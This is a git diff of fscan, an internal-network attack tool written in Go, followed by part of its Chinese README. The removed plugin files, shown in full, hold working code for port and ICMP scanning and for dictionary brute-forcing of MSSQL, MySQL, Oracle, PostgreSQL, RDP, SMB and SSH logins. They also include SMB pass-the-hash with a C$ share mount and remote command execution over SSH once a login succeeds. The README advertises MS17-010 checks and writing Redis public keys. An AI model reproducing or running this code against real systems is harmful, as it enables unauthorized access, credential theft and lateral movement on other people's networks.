if _, err := conn.Write(msg); err != nil {
return false
}
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
<-limiter
wg.Done()
}(host)
}
wg.Wait()
}
func ExecCommandPing(ip string) bool {
var command *exec.Cmd
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
default: //linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
return false
}
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 {
return true
} else {
return false
}
}
}
func makemsg(host string) []byte {
msg := make([]byte, 40)
id0, id1 := genIdentifier(host)
msg[0] = 8
msg[1] = 0
msg[2] = 0
msg[3] = 0
msg[4], msg[5] = id0, id1
msg[6], msg[7] = genSequence(1)
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8)
msg[3] = byte(check & 255)
return msg
}
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer := uint16(^sum)
return answer
}
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8)
ret2 := byte(v & 255)
return ret1, ret2
}
func genIdentifier(host string) (byte, byte) {
return host[0], host[1]
}
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
arrMap1 := make(map[string]int)
arrMap2 := make(map[string]int)
for _, value := range arrInit {
line := strings.Split(value, ".")
if len(line) == 4 {
if flag {
value = fmt.Sprintf("%s.%s", line[0], line[1])
} else {
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
}
}
if arrMap1[value] != 0 {
arrMap1[value]++
} else {
arrMap1[value] = 1
}
}
for k, v := range arrMap1 {
arrMap2[k] = v
}
i := 0
for range arrMap1 {
var maxCountKey string
var maxCountVal = 0
for key, val := range arrMap2 {
if val > maxCountVal {
maxCountVal = val
maxCountKey = key
}
}
arrTop = append(arrTop, maxCountKey)
arrLen = append(arrLen, maxCountVal)
i++
if i >= length {
return
}
delete(arrMap2, maxCountKey)
}
return
}

View File

@ -1,38 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
defer func() {
if client != nil {
client.Close()
}
}()
if err == nil {
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if err == nil {
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
if err == nil {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
common.LogSuccess(result)
}
} else {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
common.LogError(errlog)
}
}
}
}
return err
}

File diff suppressed because it is too large Load Diff

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,57 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings"
"time"
)
func OracleScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,118 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"sort"
"strconv"
"sync"
"time"
)
type Addr struct {
ip string
port int
}
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] parse port %s error, please check your port format\n", ports)
return AliveAddress
}
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
workers := common.Threads
Addrs := make(chan Addr, 100)
results := make(chan string, 100)
var wg sync.WaitGroup
//接收结果
go func() {
for found := range results {
AliveAddress = append(AliveAddress, found)
wg.Done()
}
}()
//多线程扫描
for i := 0; i < workers; i++ {
go func() {
for addr := range Addrs {
PortConnect(addr, results, timeout, &wg)
wg.Done()
}
}()
}
//添加扫描目标
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
Addrs <- Addr{host, port}
}
}
wg.Wait()
close(Addrs)
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
defer conn.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
wg.Add(1)
respondingHosts <- address
}
}
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts)
if len(noPorts) > 0 {
temp := map[int]struct{}{}
for _, port := range probePorts {
temp[port] = struct{}{}
}
for _, port := range noPorts {
delete(temp, port)
}
var newDatas []int
for port, _ := range temp {
newDatas = append(newDatas, port)
}
probePorts = newDatas
sort.Ints(probePorts)
}
for _, port := range probePorts {
for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port)
AliveAddress = append(AliveAddress, address)
}
}
return
}

View File

@ -1,55 +0,0 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}

View File

@ -1,192 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
)
type Brutelist struct {
user string
pass string
}
func RdpScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
var wg sync.WaitGroup
var signal bool
var num = 0
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
var mutex sync.Mutex
brlist := make(chan Brutelist)
port, _ := strconv.Atoi(info.Ports)
for i := 0; i < common.BruteThread; i++ {
wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
}
for _, user := range common.Userdict["rdp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
brlist <- Brutelist{user, pass}
}
}
close(brlist)
go func() {
wg.Wait()
signal = true
}()
for !signal {
}
return tmperr
}
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
defer wg.Done()
for one := range brlist {
if *signal == true {
return
}
go incrNum(num, mutex)
user, pass := one.user, one.pass
flag, err := RdpConn(host, domain, user, pass, port, timeout)
if flag == true && err == nil {
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
}
common.LogSuccess(result)
*signal = true
return
} else {
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
common.LogError(errlog)
}
}
}
func incrNum(num *int, mutex *sync.Mutex) {
mutex.Lock()
*num = *num + 1
mutex.Unlock()
}
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
target := fmt.Sprintf("%s:%d", ip, port)
g := NewClient(target, glog.NONE)
err := g.Login(domain, user, password, timeout)
if err == nil {
return true, nil
}
return false, err
}
type Client struct {
Host string // ip:port
tpkt *tpkt.TPKT
x224 *x224.X224
mcs *t125.MCSClient
sec *sec.Client
pdu *pdu.Client
vnc *rfb.RFB
}
func NewClient(host string, logLevel glog.LEVEL) *Client {
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[dial err] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
//g.sec.SetClientAutoReconnect()
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
err = g.x224.Connect()
if err != nil {
return fmt.Errorf("[x224 connect err] %v", err)
}
glog.Info("wait connect ok")
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
g.pdu.On("error", func(e error) {
err = e
glog.Error("error", e)
g.pdu.Emit("done")
})
g.pdu.On("close", func() {
err = errors.New("close")
glog.Info("on close")
g.pdu.Emit("done")
})
g.pdu.On("success", func() {
err = nil
glog.Info("on success")
g.pdu.Emit("done")
})
g.pdu.On("ready", func() {
glog.Info("on ready")
g.pdu.Emit("done")
})
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("on update:", rectangles)
})
g.pdu.On("done", func() {
if breakFlag == false {
breakFlag = true
wg.Done()
}
})
wg.Wait()
return err
}

View File

@ -1,132 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts)
if err != nil {
fmt.Println("len(hosts)==0", err)
return
}
lib.Inithttp()
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" {
Hosts = CheckLive(Hosts, common.Ping)
fmt.Println("[*] Icmp alive hosts len is:", len(Hosts))
}
if common.Scantype == "icmp" {
common.LogWG.Wait()
return
}
var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if common.Scantype == "hostname" {
common.Ports = "139"
AlivePorts = NoPortScan(Hosts, common.Ports)
} else if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
fmt.Println("[*] alive ports len is:", len(AlivePorts))
if common.Scantype == "portscan" {
common.LogWG.Wait()
return
}
}
if len(common.HostPort) > 0 {
AlivePorts = append(AlivePorts, common.HostPort...)
AlivePorts = common.RemoveDuplicate(AlivePorts)
common.HostPort = nil
fmt.Println("[*] AlivePorts len is:", len(AlivePorts))
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if common.Scantype == "all" || common.Scantype == "main" {
switch {
case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg) //findnet
if common.IsWmi {
AddScan("1000005", info, &ch, &wg) //wmiexec
}
case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg) //ms17010
//AddScan(info.Ports, info, ch, &wg) //smb
//AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(web, info, &ch, &wg) //http
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg) //plugins scan
default:
AddScan(web, info, &ch, &wg) //webtitle
}
} else {
scantype := strconv.Itoa(common.PORTList[common.Scantype])
AddScan(scantype, info, &ch, &wg)
}
}
}
for _, url := range common.Urls {
info.Url = url
AddScan(web, info, &ch, &wg)
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Printf("已完成 %v/%v\n", common.End, common.Num)
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{}
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(&scantype, &info)
Mutex.Lock()
common.End += 1
Mutex.Unlock()
wg.Done()
<-*ch
}()
}
func ScanFunc(name *string, info *common.HostInfo) {
defer func() {
if err := recover(); err != nil {
fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err)
}
}()
f := reflect.ValueOf(PluginList[*name])
in := []reflect.Value{reflect.ValueOf(info)}
f.Call(in)
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}

View File

@ -1,81 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
func SmbScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
}
}
return tmperr
}
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
Host, Username, Password := info.Host, user, pass
options := smb.Options{
Host: Host,
Port: 445,
User: Username,
Password: Password,
Domain: common.Domain,
Workstation: "",
}
session, err := smb.NewSession(options, false)
if err == nil {
session.Close()
if session.IsAuthenticated {
flag = true
}
}
signal <- struct{}{}
return flag, err
}
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{})
go func() {
flag, err = SmblConn(info, user, pass, signal)
}()
select {
case <-signal:
return flag, err
case <-time.After(time.Duration(common.Timeout) * time.Second):
return false, errors.New("time out")
}
}

View File

@ -1,218 +0,0 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
"github.com/hirochachacha/go-smb2"
)
func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return nil
}
hasprint := false
starttime := time.Now().Unix()
if len(common.HashBytes) > 0 {
for _, user := range common.Userdict["smb"] {
for _, hash := range common.HashBytes {
pass := ""
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
} else {
for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
hash := []byte{}
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
if flag2 {
hasprint = true
}
if flag == true {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
common.LogSuccess(result)
return err
} else {
var errlog string
if len(common.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
} else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
}
errlog = strings.Replace(errlog, "\n", " ", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if len(common.Hash) > 0 {
break
}
}
}
}
return tmperr
}
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
if err != nil {
return
}
defer conn.Close()
initiator := smb2.NTLMInitiator{
User: user,
Domain: common.Domain,
}
if len(hash) > 0 {
initiator.Hash = hash
} else {
initiator.Password = pass
}
d := &smb2.Dialer{
Initiator: &initiator,
}
s, err := d.Dial(conn)
if err != nil {
return
}
defer s.Logoff()
names, err := s.ListSharenames()
if err != nil {
return
}
if !hasprint {
var result string
if common.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
} else {
result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user)
}
if len(hash) > 0 {
result += "hash: " + common.Hash
} else {
result += pass
}
result = fmt.Sprintf("%v shares: %v", result, names)
common.LogSuccess(result)
flag2 = true
}
fs, err := s.Mount("C$")
if err != nil {
return
}
defer fs.Umount()
path := `Windows\win.ini`
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
if err != nil {
return
}
defer f.Close()
flag = true
return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
}
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return

View File

@ -1,97 +0,0 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"time"
)
func SshScan(info *common.HostInfo) (tmperr error) {
if common.IsBrute {
return
}
starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
return err
}
}
if common.SshKey != "" {
return err
}
}
}
return tmperr
}
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass
var Auth []ssh.AuthMethod
if common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
config := &ssh.ClientConfig{
User: Username,
Auth: Auth,
Timeout: time.Duration(common.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
if err == nil {
defer client.Close()
session, err := client.NewSession()
if err == nil {
defer session.Close()
flag = true
var result string
if common.Command != "" {
combo, _ := session.CombinedOutput(common.Command)
result = fmt.Sprintf("[+] SSH %v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result)
} else {
result = fmt.Sprintf("[+] SSH %v:%v:%v %v", Host, Port, Username, Password)
if common.SshKey != "" {
result = fmt.Sprintf("[+] SSH %v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result)
}
}
}
return flag, err
}

396
README.md
View File

@ -1,156 +1,189 @@
# fscan # Fscan 2.0.0
[English][url-docen] [English][url-docen]
# 1. 简介 # 0x01 简介
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
# 2. 主要功能 ## 主要功能
1.信息搜集:
* 存活探测(icmp)
* 端口扫描
2.爆破功能: - 主机存活探测:快速识别内网中的活跃主机
* 各类服务爆破(ssh、smb、rdp等) - 端口扫描:全面检测目标主机开放端口
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) - 服务爆破:支持对常见服务进行密码爆破测试
- 漏洞利用集成MS17-010等高危漏洞检测
- Redis利用支持批量写入公钥进行权限获取
- 系统信息收集可读取Windows网卡信息
- Web应用检测
- Web指纹识别
